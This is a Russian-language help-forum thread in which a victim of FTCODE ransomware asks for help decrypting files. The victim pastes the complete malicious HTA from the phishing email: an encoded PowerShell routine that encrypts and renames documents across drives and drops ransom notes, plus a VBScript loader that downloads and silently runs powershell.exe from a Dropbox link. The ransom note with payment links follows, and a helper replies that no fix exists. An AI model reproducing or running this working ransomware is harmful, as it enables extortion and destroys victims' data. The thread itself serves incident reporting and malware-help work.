Показано с 1 по 3 из 3.

Все файлы на freenase с расширением ftcode (заявка № 133969)

  1. #1
    Junior Member (OID) Репутация
    Регистрация
    25.02.2013
    Сообщений
    1
    Вес репутации
    41

    Все файлы на freenase с расширением ftcode

    Здравствуйте. Секретарь получил письмо с вложением.
    "Благодарственное письмо.rarПрикладываю электронную копию письма



    Пароль на архив: 12345"
    И благополучно запустила файл пришедший по почте в rar c расширением .hta* после чего файлы на freenase стали с расширением ftcode.

    Файл содержит вот такой скрипт.


    <!--%OyRFcnJvckFjdGlvblByZWZlcmVuY2U9IlNpbGVudGx5Q29ud GludWUiO2lmKChHZXQtUHJvY2VzcyAtTmFtZSBwb3dlcnNoZWx sKS5jb3VudCAtZ2UgMil7ZXhpdH0kcmVmPVtSZWZsZWN0aW9uL kFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgnU3lzdGV tLlNlY3VyaXR5Jyk7JEFNU0I9IkFNU0IiO0FkZC1UeXBlIC1Bc 3NlbWJseSBTeXN0ZW0uV2ViOyRpZHBhdGggPSAkZW52OkFQUER BVEEgKyAiXCIgKyAoZ3dtaSB3aW4zMl9jb21wdXRlcnN5c3Rlb SkubW9kZWw7JEc9IkciO2lmKFRlc3QtUGF0aCAkaWRwYXRoKXs kZ2V0YyA9IEdldC1Db250ZW50ICRpZHBhdGg7aWYgKCRnZXRjI C1lcSAiZ29vZCIpe2V4aXR9IGVsc2UgeyRlayA9ICRnZXRjfX0 kZWs9W1dlYi5TZWN1cml0eS5NZW1iZXJzaGlwXTo6R2VuZXJhd GVQYXNzd29yZCg1MCwgNCk7JEhCU2tTVVNjdD0iSEJTa1NVU2N 0IjtTZXQtQ29udGVudCAtUGF0aCAkaWRwYXRoIC1WYWx1ZSAkZ Ws7JE5HPSJORyI7W2J5dGVbXV0kYnl0ZXM9W3N5c3RlbS5UZXh 0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkZWspOyRqR WFRVEZSZj0iakVhUVRGUmYiOyRiYXNla2V5PSJCZ0lBQUFDa0F BQlNVMEV4QUFRQUFBRUFBUURUWVVaeVZ4aGg0OFIvMVkvSDVOZ EVnaTQ5RElIdEpUWG0rbWNWSG52VXBZaU5FbnhwRmovVUpYVkR nMEYycmZXRnBueXFISjBkYnlqc09Dd01YMGVSeXAyVnhyV0Z6T 0hJTTZRcGV2eEdGOWl6WGVOcTcrT3pCdW8xMVYvN0VtdlFCVzJ zZnVORU9QN3pkVXcwREZLb0srWDJUYWV3YWtpMUxHWWhwc2hqc Wc9PSI7JEM9IkMiOyRyc2EgPSBOZXctT2JqZWN0IFN5c3RlbS5 TZWN1cml0eS5DcnlwdG9ncmFwaHkuUlNBQ3J5cHRvU2VydmljZ VByb3ZpZGVyOyRySUFYUE1aPSJySUFYUE1aIjskcnNhLkltcG9 ydENzcEJsb2IoW3N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2N FN0cmluZygkYmFzZWtleSkpOyR6VmRlem1OPSJ6VmRlem1OIjs kZW5ja2V5PVtzeXN0ZW0uQ29udmVydF06OlRvQmFzZTY0U3Rya W5nKCRyc2EuRW5jcnlwdCgkYnl0ZXMsICRmYWxzZSkpOyR0ZXh 0PSAi0JXRgdC70Lgg0JLRiyDRh9C40YLQsNC10YLQtSDRjdGC0 L4g0YHQvtC+0LHRidC10L3QuNC1LCDQt9C90LDRh9C40YIg0JL QsNGIINC60L7QvNC/0YzRjtGC0LXRgCDQsdGL0Lsg0LDRgtCw0LrQvtCy0LDQvSDQvt C/0LDRgdC90LXQudGI0LjQvCDQstC40YDRg9GB0L7QvC5gcmBu0J LRgdGPINCS0LDRiNCwINC40L3RhNC+0YDQvNCw0YbQuNGPICjQ tNC+0LrRg9C80LXQvdGC0YssINGE0LjQu9GM0LzRiyDQuCDQtN GA0YPQs9C40LUg0YTQsNC50LvRiykg0L3QsCDRjdGC0L7QvCDQ utC+0LzQv9GM0Y7RgtC10YDQtSDQsdGL0LvQsCDQt9Cw0YjQuN GE0YDQvtCy0LDQvdCwYHJgbtGBINC/0L7QvNC+0YnRjNGOINGB0LDQvNC+0LPQviDQutGA0LjQv9GC0L 7RgdGC0L7QudC60L7Qs9C+INCw0LvQs9C+0YDQuNGC0LzQsCDQ siDQvNC40YDQtSBSU0ExMDI0LmByYG7QktC+0YHRgdGC0LDQvd C+0LLQuNGC0Ywg0YTQsNC50LvRiyDQvNC+0LbQvdC+INGC0L7Q u9GM0LrQviDQv9GA0Lgg0L/QvtC80L7RidC4INGB0L/QtdGG0LjQsNC70YzQvdC+0Lkg0L/RgNC+0LPRgNCw0LzQvNGLLiDQp9GC0L7QsdGLINC10ZEg0L/QvtC70YPRh9C40YLRjCwg0JLQsNC8INC90LXQvtCx0YXQvtC00 LjQvNC+YHJgbtCf0LXRgNC10LnRgtC4INC30LDQudGC0Lgg0L3 QsCDRgdGC0YDQsNC90LjRhtGDINCyINC40L3RgtC10YDQvdC10 YLQtSDQv9C+INCw0LTRgNC10YHRgyBodHRwOi8vYml0Lmx5LzE xVXFsNnMg0Lgg0YHQu9C10LTQvtCy0LDRgtGMINC40L3RgdGC0 YDRg9C60YbQuNGP0LxgcmBu0JXRgdC70Lgg0YHRgdGL0LvQutC wINCy0YvRiNC1INC90LUg0YDQsNCx0L7RgtCw0LXRgiDQv9C10 YDQtdC50LTQuNGC0LUg0L/QviDRgNC10LfQtdGA0LLQvdGL0Lwg0LDQtNGA0LXRgdCw0LwgI Gh0dHA6Ly91bmJsb2NrLmkycC50byDQuNC70LggaHR0cDovL2J pdC5seS9WSWVydFdgcmBu0J/RgNC4INC/0L7Qv9GL0YLQutC1INGA0LDRgdGI0LjRhNGA0L7QstC60Lgg0L HQtdC3INC90LDRiNC10Lkg0L/RgNC+0LPRgNCw0LzQvNGLINGE0LDQudC70Ysg0LzQvtCz0YPRg iDQv9C+0LLRgNC10LTQuNGC0YzRgdGPIWByYG7QndCVINCX0JD QkdCj0JTQrNCi0JU6INGC0L7Qu9GM0LrQviDQnNCrINC80L7Qt tC10Lwg0YDQsNGB0YjQuNGE0YDQvtCy0LDRgtGMINCS0LDRiNC 4INGE0LDQudC70YshYHJgbmByYG4iICsgJGVuY2tleTskbkdKW ktNYWY9Im5HSlpLTWFmIjtmdW5jdGlvbiBFbmNyeXB0LUZpbGU oJGl0ZW0sICRQYXNzcGhyYXNlKXskc2FsdD0iQk1DT0RFIGhhY 2sgeW91ciBzeXN0ZW0iOyRpclk9ImlyWSI7JGluaXQ9IkJNQ09 ERSBJTklUIjskaUg9ImlIIjskciA9IG5ldy1PYmplY3QgU3lzd GVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5SaWpuZGFlbE1hbmF nZWQ7JFVFZD0iVUVkIjsgICAkcGFzcyA9IFtUZXh0LkVuY29ka W5nXTo6VVRGOC5HZXRCeXRlcygkUGFzc3BocmFzZSk7JHQ9InQ iOyRzYWx0ID0gW1RleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5d GVzKCRzYWx0KTskci5LZXkgPSAobmV3LU9iamVjdCBTZWN1cml 0eS5DcnlwdG9ncmFwaHkuUGFzc3dvcmREZXJpdmVCeXRlcyAkc GFzcywgJHNhbHQsICJTSEExIiwgNSkuR2V0Qnl0ZXMoMzIpOyR tdD0ibXQiOyRyLklWID0gKG5ldy1PYmplY3QgU2VjdXJpdHkuQ 3J5cHRvZ3JhcGh5LlNIQTFNYW5hZ2VkKS5Db21wdXRlSGFzaCg gW1RleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRpbml0K SApWzAuLjE1XTskci5QYWRkaW5nPSJaZXJvcyI7JHIuTW9kZT0 iQ0JDIjskYyA9ICRyLkNyZWF0ZUVuY3J5cHRvcigpOyRtcyA9I G5ldy1PYmplY3QgSU8uTWVtb3J5U3RyZWFtOyRjcyA9IG5ldy1 PYmplY3QgU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNyeXB0b1N0c mVhbSAkbXMsJGMsIldyaXRlIjskY3MuV3JpdGUoJGl0ZW0sIDA sJGl0ZW0uTGVuZ3RoKTskY3MuQ2xvc2UoKTskVlhtUk49IlZYb VJOIjskbXMuQ2xvc2UoKTskWk1Oc0VRPSJaTU5zRVEiOyRyLkN sZWFyKCk7cmV0dXJuICRtcy5Ub0FycmF5KCk7fSRkaXNrcz1HZ XQtUFNEcml2ZXxXaGVyZS1PYmplY3QgeyRfLkZyZWUgLWd0IDU wMDAwfXxTb3J0LU9iamVjdCAtRGVzY2VuZGluZztmb3JlYWNoK CRkaXNrIGluICRkaXNrcyl7Z2NpICRkaXNrLnJvb3QgLVJlY3V yc2UgLUluY2x1ZGUgIiouZG9jIiwiKi54bHMiLCIqLmRvY3giL CIqLnhsc3giLCIqLmRiIiwiKi5tcDMiLCIqLndhdyIsIiouanB nIiwiKi5qcGVnIiwiKi50eHQiLCIqLnJ0ZiIsIioucGRmIiwiK i5yYXIiLCIqLnppcCIsIioucHNkIiwiKi5tc2kiLCIqLnRpZiI sIioud21hIiwiKi5sbmsiLCIqLmdpZiIsIiouYm1wIiwiKi5wc HQiLCIqLnBwdHgiLCIqLmRvY20iLCIqLnhsc20iLCIqLnBwcyI sIioucHBzeCIsIioucHBkIiwiKi50aWZmIiwiKi5lcHMiLCIqL nBuZyIsIiouYWNlIiwiKi5kanZ1IiwiKi54bWwiLCIqLmNkciI sIioubWF4IiwiKi53bXYiLCIqLmF2aSIsIioud2F2IiwiKi5tc DQiLCIqLnBkZCIsIiouaHRtbCIsIiouY3NzIiwiKi5waHAiLCI qLmFhYyIsIiouYWMzIiwiKi5hbWYiLCIqLmFtciIsIioubWlkI iwiKi5taWRpIiwiKi5tbWYiLCIqLm1vZCIsIioubXAxIiwiKi5 tcGEiLCIqLm1wZ2EiLCIqLm1wdSIsIioubnJ0IiwiKi5vZ2EiL CIqLm9nZyIsIioucGJmIiwiKi5yYSIsIioucmFtIiwiKi5yYXc iLCIqLnNhZiIsIioudmFsIiwiKi53YXZlIiwiKi53b3ciLCIqL ndwayIsIiouM2cyIiwiKi4zZ3AiLCIqLjNncDIiLCIqLjNtbSI sIiouYW14IiwiKi5hdnMiLCIqLmJpayIsIiouYmluIiwiKi5ka XIiLCIqLmRpdngiLCIqLmR2eCIsIiouZXZvIiwiKi5mbHYiLCI qLnF0cSIsIioudGNoIiwiKi5ydHMiLCIqLnJ1bSIsIioucnYiL CIqLnNjbiIsIiouc3J0IiwiKi5zdHgiLCIqLnN2aSIsIiouc3d mIiwiKi50cnAiLCIqLnZkbyIsIioud20iLCIqLndtZCIsIioud 21tcCIsIioud214IiwiKi53dngiLCIqLnh2aWQiLCIqLjNkIiw iKi4zZDQiLCIqLjNkZjgiLCIqLnBicyIsIiouYWRpIiwiKi5ha XMiLCIqLmFtdSIsIiouYXJyIiwiKi5ibWMiLCIqLmJtZiIsIio uY2FnIiwiKi5jYW0iLCIqLmRuZyIsIiouaW5rIiwiKi5qaWYiL CIqLmppZmYiLCIqLmpwYyIsIiouanBmIiwiKi5qcHciLCIqLm1 hZyIsIioubWljIiwiKi5taXAiLCIqLm1zcCIsIioubmF2IiwiK i5uY2QiLCIqLm9kYyIsIioub2RpIiwiKi5vcGYiLCIqLnFpZiI sIioucXRpcSIsIiouc3JmIiwiKi54d2QiLCIqLmFidyIsIiouY WN0IiwiKi5hZHQiLCIqLmFpbSIsIiouYW5zIiwiKi5hc2MiLCI qLmFzZSIsIiouYmRwIiwiKi5iZHIiLCIqLmJpYiIsIiouYm9jI iwiKi5jcmQiLCIqLmRpeiIsIiouZG90IiwiKi5kb3RtIiwiKi5 kb3R4IiwiKi5kdmkiLCIqLmR4ZSIsIioubWx4IiwiKi5lcnIiL CIqLmV1YyIsIiouZmFxIiwiKi5mZHIiLCIqLmZkcyIsIiouZ3R ociIsIiouaWR4IiwiKi5rd2QiLCIqLmxwMiIsIioubHRyIiwiK i5tYW4iLCIqLm1ib3giLCIqLm1zZyIsIioubmZvIiwiKi5ub3c iLCIqLm9kbSIsIioub2Z0IiwiKi5wd2kiLCIqLnJuZyIsIiouc nR4IiwiKi5ydW4iLCIqLnNzYSIsIioudGV4dCIsIioudW54Iiw iKi53YmsiLCIqLndzaCIsIiouN3oiLCIqLmFyYyIsIiouYXJpI iwiKi5hcmoiLCIqLmNhciIsIiouY2JyIiwiKi5jYnoiLCIqLmd 6IiwiKi5nemlnIiwiKi5qZ3oiLCIqLnBhayIsIioucGN2IiwiK i5wdXoiLCIqLnIwMCIsIioucjAxIiwiKi5yMDIiLCIqLnIwMyI sIioucmV2IiwiKi5zZG4iLCIqLnNlbiIsIiouc2ZzIiwiKi5zZ ngiLCIqLnNoIiwiKi5zaGFyIiwiKi5zaHIiLCIqLnNxeCIsIio udGJ6MiIsIioudGciLCIqLnRseiIsIioudnNpIiwiKi53YWQiL CIqLndhciIsIioueHBpIiwiKi56MDIiLCIqLnowNCIsIiouemF wIiwiKi56aXB4IiwiKi56b28iLCIqLmlwYSIsIiouaXN1IiwiK i5qYXIiLCIqLmpzIiwiKi51ZGYiLCIqLmFkciIsIiouYXAiLCI qLmFybyIsIiouYXNhIiwiKi5hc2N4IiwiKi5hc2h4IiwiKi5hc 214IiwiKi5hc3AiLCIqLmFzcHgiLCIqLmFzciIsIiouYXRvbSI sIiouYm1sIiwiKi5jZXIiLCIqLmNtcyIsIiouY3J0IiwiKi5kY XAiLCIqLmh0bSIsIioubW96IiwiKi5zdnIiLCIqLnVybCIsIio ud2RndCIsIiouYWJrIiwiKi5iaWMiLCIqLmJpZyIsIiouYmxwI iwiKi5ic3AiLCIqLmNnZiIsIiouY2hrIiwiKi5jb2wiLCIqLmN 0eSIsIiouZGVtIiwiKi5lbGYiLCIqLmZmIiwiKi5nYW0iLCIqL mdyZiIsIiouaDNtIiwiKi5oNHIiLCIqLml3ZCIsIioubGRiIiw iKi5sZ3AiLCIqLmx2bCIsIioubWFwIiwiKi5tZDMiLCIqLm1kb CIsIioubW02IiwiKi5tbTciLCIqLm1tOCIsIioubmRzIiwiKi5 wYnAiLCIqLnBwZiIsIioucHdmIiwiKi5weHAiLCIqLnNhZCIsI iouc2F2IiwiKi5zY20iLCIqLnNjeCIsIiouc2R0IiwiKi5zcHI iLCIqLnN1ZCIsIioudWF4IiwiKi51bXgiLCIqLnVuciIsIioud W9wIiwiKi51c2EiLCIqLnVzeCIsIioudXQyIiwiKi51dDMiLCI qLnV0YyIsIioudXR4IiwiKi51dngiLCIqLnV4eCIsIioudm1mI iwiKi52dGYiLCIqLnczZyIsIioudzN4IiwiKi53dGQiLCIqLnd 0ZiIsIiouY2NkIiwiKi5jZCIsIiouY3NvIiwiKi5kaXNrIiwiK i5kbWciLCIqLmR2ZCIsIiouZmNkIiwiKi5mbHAiLCIqLmltZyI sIiouaXNvIiwiKi5pc3oiLCIqLm1kMCIsIioubWQxIiwiKi5tZ DIiLCIqLm1kZiIsIioubWRzIiwiKi5ucmciLCIqLm5yaSIsIio udmNkIiwiKi52aGQiLCIqLnNucCIsIiouYmtmIiwiKi5hZGUiL CIqLmFkcGIiLCIqLmRpYyIsIiouY2NoIiwiKi5jdHQiLCIqLmR hbCIsIiouZGRjIiwiKi5kZGN4IiwiKi5kZXgiLCIqLmRpZiIsI iouZGlpIiwiKi5pdGRiIiwiKi5pdGwiLCIqLmtteiIsIioubGN kIiwiKi5sY2YiLCIqLm1ieCIsIioubWRuIiwiKi5vZGYiLCIqL m9kcCIsIioub2RzIiwiKi5wYWIiLCIqLnBrYiIsIioucGtoIiw iKi5wb3QiLCIqLnBvdHgiLCIqLnBwdG0iLCIqLnBzYSIsIiouc WRmIiwiKi5xZWwiLCIqLnJnbiIsIioucnJ0IiwiKi5yc3ciLCI qLnJ0ZSIsIiouc2RiIiwiKi5zZGMiLCIqLnNkcyIsIiouc3FsI iwiKi5zdHQiLCIqLnQwMSIsIioudDAzIiwiKi50MDUiLCIqLnR jeCIsIioudGhteCIsIioudHhkIiwiKi50eGYiLCIqLnVwb2kiL CIqLnZtdCIsIioud2tzIiwiKi53bWRiIiwiKi54bCIsIioueGx jIiwiKi54bHIiLCIqLnhsc2IiLCIqLnhsdHgiLCIqLmx0bSIsI ioueGx3eCIsIioubWNkIiwiKi5jYXAiLCIqLmNjIiwiKi5jb2Q iLCIqLmNwIiwiKi5jcHAiLCIqLmNzIiwiKi5jc2kiLCIqLmRjc CIsIiouZGN1IiwiKi5kZXYiLCIqLmRvYiIsIiouZG94IiwiKi5 kcGsiLCIqLmRwbCIsIiouZHByIiwiKi5kc2siLCIqLmRzcCIsI iouZXFsIiwiKi5leCIsIiouZjkwIiwiKi5mbGEiLCIqLmZvciI sIiouZnBwIiwiKi5qYXYiLCIqLmphdmEiLCIqLmxiaSIsIioub 3dsIiwiKi5wbCIsIioucGxjIiwiKi5wbGkiLCIqLnBtIiwiKi5 yZXMiLCIqLnJuYyIsIioucnNyYyIsIiouc28iLCIqLnN3ZCIsI ioudHB1IiwiKi50cHgiLCIqLnR1IiwiKi50dXIiLCIqLnZjIiw iKi55YWIiLCIqLjhiYSIsIiouOGJjIiwiKi44YmUiLCIqLjhiZ iIsIiouOGJpOCIsIiouYmk4IiwiKi44YmwiLCIqLjhicyIsIio uOGJ4IiwiKi44YnkiLCIqLjhsaSIsIiouYWlwIiwiKi5hbXh4I iwiKi5hcGUiLCIqLmFwaSIsIioubXhwIiwiKi5veHQiLCIqLnF weCIsIioucXRyIiwiKi54bGEiLCIqLnhsYW0iLCIqLnhsbCIsI ioueGx2IiwiKi54cHQiLCIqLmNmZyIsIiouY3dmIiwiKi5kYmI iLCIqLnNsdCIsIiouYnAyIiwiKi5icDMiLCIqLmJwbCIsIiouY 2xyIiwiKi5kYngiLCIqLmpjIiwiKi5wb3RtIiwiKi5wcHNtIiw iKi5wcmMiLCIqLnBydCIsIiouc2h3IiwiKi5zdGQiLCIqLnZlc iIsIioud3BsIiwiKi54bG0iLCIqLnlwcyIsIioubWQzIiwiKi4 xY2QiICB8JXt0cnkgeyRmaWxlPVtpby5maWxlXTo6T3BlbigkX ywgJ09wZW4nLCAnUmVhZFdyaXRlJyk7JHVtRW9qbVpPPSJ1bUV vam1aTyI7aWYgKCRmaWxlLkxlbmd0aCAtbHQgIjQwOTYwIil7J HNpemU9JGZpbGUuTGVuZ3RofWVsc2V7JHNpemU9IjQwOTYwIn1 bYnl0ZVtdXSRidWZmID0gbmV3LW9iamVjdCBieXRlW10gJHNpe mU7JFJvR3M9IlJvR3MiOyRUb0VuY3J5cHQgPSAkZmlsZS5SZWF kKCRidWZmLCAwLCAkYnVmZi5MZW5ndGgpOyRaPSJaIjskZmlsZ S5Qb3NpdGlvbj0nMCc7JEVuY3J5cHRlZD1FbmNyeXB0LUZpbGU gJGJ1ZmYgJGVrOyROdlFVR2ZZREE9Ik52UVVHZllEQSI7JGZpb GUuV3JpdGUoJEVuY3J5cHRlZCwgMCwgJEVuY3J5cHRlZC5MZW5 ndGgpOyRmaWxlLkNsb3NlKCk7JG5ld25hbWU9JF8uTmFtZSsnL kZUQ09ERSc7JG49Im4iO3JlbiAtUGF0aCAkXy5GdWxsTmFtZSA tTmV3TmFtZSAkbmV3bmFtZSAtRm9yY2U7JHBhdGg9JF8uRGlyZ WN0b3J5TmFtZSsnXFJFQURfTUVfTk9XLlRYVCc7aWYoIShUZXN 0LVBhdGggJHBhdGgpKXtzYyAtcGF0ICRwYXRoIC12YSAkdGV4d H19Y2F0Y2h7fX19U2V0LUNvbnRlbnQgLVBhdGggJGlkcGF0aCA tVmFsdWUgImdvb2Qi
    -->


    <html>
    <head>
    <meta charset="windows-1251">
    </head>
    <HTA:APPLICATION
    ID="objHTA_Info"
    APPLICATIONNAME="HTA_Info"
    SINGLEINSTANCE="yes" >
    <body>
    <script language=VBScript>
    Execute base64decode("OkNvbnN0IFNZU1RFTTMyID0gJkgyNTp0dklM dEtGWD0idHZJTHRLRlgiOlNldCBmc28gPSBDcmVhdGVPYmplY3 QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Iik6RHlQVkdi YVM9IkR5UFZHYmFTIjpTZXQgb2JqU2hlbGwgPSBDcmVhdGVPYm plY3QoIlNoZWxsLkFwcGxpY2F0aW9uIik6enFNQ3FOUng9Inpx TUNxTlJ4IjpTZXQgd3NoU2hlbGwgPSBDcmVhdGVPYmplY3QoIC JXU2NyaXB0LlNoZWxsIiApOlNldCBvYmpGb2xkZXIgPSBvYmpT aGVsbC5OYW1lc3BhY2UoU1lTVEVNMzIpOnBPdj0icE92IjpTZX Qgb2JqRm9sZGVySXRlbSA9IG9iakZvbGRlci5TZWxmOmZpbGVw YXRoID0gcmVwbGFjZShvYmpIVEFfSW5mby5jb21tYW5kTGluZS xjaHIoMzQpLCIiKTp0cnNKPSJ0cnNKIjphcmd1bWVudHMgPSAi IC1jb21tYW5kICRwYXRoPSgoZ2V0LWNvbnRlbnQgLVBhdGggJy IgKyBmaWxlcGF0aCArICInIC10b3RhbGNvdW50IDEpIC1zcGxp dCAnJScpWzFdOyRieXRlcyAgPSBbU3lzdGVtLkNvbnZlcnRdOj pGcm9tQmFzZTY0U3RyaW5nKCRwYXRoKTskZGVjb2RlZCA9IFtT eXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKC RieXRlcyk7SW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWQiOlBh dGggPSBvYmpGb2xkZXJJdGVtLlBhdGggKyAiXFdpbmRvd3NQb3 dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUiOm5ld1BhdGgg PSBQYXRoICYgYXJndW1lbnRzOlc9IlciOlJhclBhdGggPSB3c2 hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVUTVAl IikgJiAiXHBvd2Vyc2hlbGwuZXhlIjpUZXN0UGF0aCA9IHdzaF NoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiJVRNUCUi KSAmIlxwb3dlcnNoZWxsXHBvd2Vyc2hlbGwuZXhlIjpKaUtNeG U9IkppS014ZSI6YXBwTmV3UGF0aCA9IHdzaFNoZWxsLkV4cGFu ZEVudmlyb25tZW50U3RyaW5ncygiJVRNUCUiKSAmICJccG93ZX JzaGVsbFxwb3dlcnNoZWxsLmV4ZSIgJiBhcmd1bWVudHM6SUQ9 IklEIjpJZiAoZnNvLkZpbGVFeGlzdHMoUGF0aCkpIFRoZW46IH dzaFNoZWxsLlJ1biBuZXdQYXRoLCAwLCBGYWxzZTpFbHNlOlhz WWpmeT0iWHNZamZ5IjpJZiBOb3QgKGZzby5GaWxlRXhpc3RzKF Rlc3RQYXRoKSkgVGhlbjpkaW0geEh0dHA6U2V0IHhIdHRwID0g Y3JlYXRlb2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpOlpTSm FjVj0iWlNKYWNWIjpkaW0gYlN0cm06IFNldCBiU3RybSA9IGNy ZWF0ZW9iamVjdCgiQWRvZGIuU3RyZWFtIik6emRPPSJ6ZE8iOn hIdHRwLk9wZW4gIkdFVCIsICJodHRwczovL2RsLmRyb3Bib3gu Y29tL3NoL3duOHgzNXI5bDl3c2l0bi9YU3dhZk9GaDlFL3Bvd2 Vyc2hlbGwuZXhlP2RsPTEiLCBGYWxzZTpYPSJYIjp4SHR0cC5T ZW5kOndpdGggYlN0cm06LnR5cGUgPSAxOi5vcGVuOnJxPSJycS I6LndyaXRlIHhIdHRwLnJlc3BvbnNlQm9keTpKZXF1cD0iSmVx dXAiOi5zYXZldG9maWxlIFJhclBhdGgsIDI6ZW5kIHdpdGg6d3 NoU2hlbGwuUnVuIFJhclBhdGgsIDAsIFRydWU6RW5kIElmOndz aFNoZWxsLlJ1biBhcHBOZXdQYXRoLCAwLCBUcnVlOmFVYWRaa0 M9ImFVYWRaa0MiOkVuZCBJZg==")



    Function base64decode(data)
    a="CDO.Message"
    set b=CreateObject(a)
    With b.BodyPart
    .ContentTransferEncoding = "base64"
    .Charset = "windows-1251"
    With .GetEncodedContentStream
    .WriteText data
    .Flush
    End With
    With .GetDecodedContentStream
    .Charset = "utf-8"
    base64decode = .ReadText
    End With
    End With
    End Function




    </script>
    </body>
    </html>



    А в каждой папке файл READ_ME_NOW.TXT с вот таким текстом

    Если Вы читаете это сообщение, значит Ваш компьютер был атакован опаснейшим вирусом.
    Вся Ваша информация (документы, фильмы и другие файлы) на этом компьютере была зашифрована
    с помощью самого криптостойкого алгоритма в мире RSA1024.
    Восстановить файлы можно только при помощи специальной программы. Чтобы её получить, Вам необходимо
    Перейти зайти на страницу в интернете по адресу http://bit.ly/11Uql6s и следовать инструкциям
    Если ссылка выше не работает перейдите по резервным адресам http://unblock.i2p.to или http://bit.ly/VIertW
    При попытке расшифровки без нашей программы файлы могут повредиться!
    НЕ ЗАБУДЬТЕ: только МЫ можем расшифровать Ваши файлы!


    o7yHUoWgM0vTY4oFV6+QqKvJNC0WySVHc33JOQ0mmP2I++AFGL gh7Ob9ymIloPZg5vhwQv7XPrQc9JwTx+rQOlzm49tibD1jXYR1 5VVOZ1kkveG+BJ8PelTuV21LhAafhdxnde1FvMS/zQoArgvze1Pf0jCyZfxzhb6clbBvf+g=


    пожалуйста, помогите расшифровать файлы.

    Эти рекомендации попробовал, не помогло.
    попробуйте рекомендации из этой темы http://virusinfo.info/showthread.php?t=132630
    Вложения Вложения

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Cyber Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Info_bot
    Регистрация
    11.05.2011
    Сообщений
    2,287
    Вес репутации
    378
    Уважаемый(ая) Vasya Pupkin, спасибо за обращение на наш форум!

    Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.

    Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

  4. #3
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    99,211
    Вес репутации
    3104
    Решения нет и вряд ли предвидится. Для шифрования RSA (а тем более RSA1024) поможет только покупка ключа. Увы
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  • Уважаемый(ая) Vasya Pupkin, наши специалисты оказали Вам всю возможную помощь по вашему обращению.

    В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:

     

     

    Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:

     

     

    Anti-Malware VK

     

    Anti-Malware Telegram

     

     

    Надеемся больше никогда не увидеть ваш компьютер зараженным!

     

    Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.

  • Похожие темы

    1. Поймали вирус, все файлы с расширением ftcode
      От Valeriia в разделе Помогите!
      Ответов: 7
      Последнее сообщение: 27.02.2013, 10:22
    2. Ответов: 2
      Последнее сообщение: 27.02.2013, 10:22
    3. все файлы зашифровались в .FTCODE
      От КЛМН в разделе Помогите!
      Ответов: 2
      Последнее сообщение: 27.02.2013, 10:21
    4. Ответов: 2
      Последнее сообщение: 25.02.2013, 22:25
    5. Ответов: 1
      Последнее сообщение: 17.01.2013, 13:43

    Метки для этой темы

    Свернуть/Развернуть Ваши права в разделе

    • Вы не можете создавать новые темы
    • Вы не можете отвечать в темах
    • Вы не можете прикреплять вложения
    • Вы не можете редактировать свои сообщения
    •  
    Page generated in 0.00908 seconds with 20 queries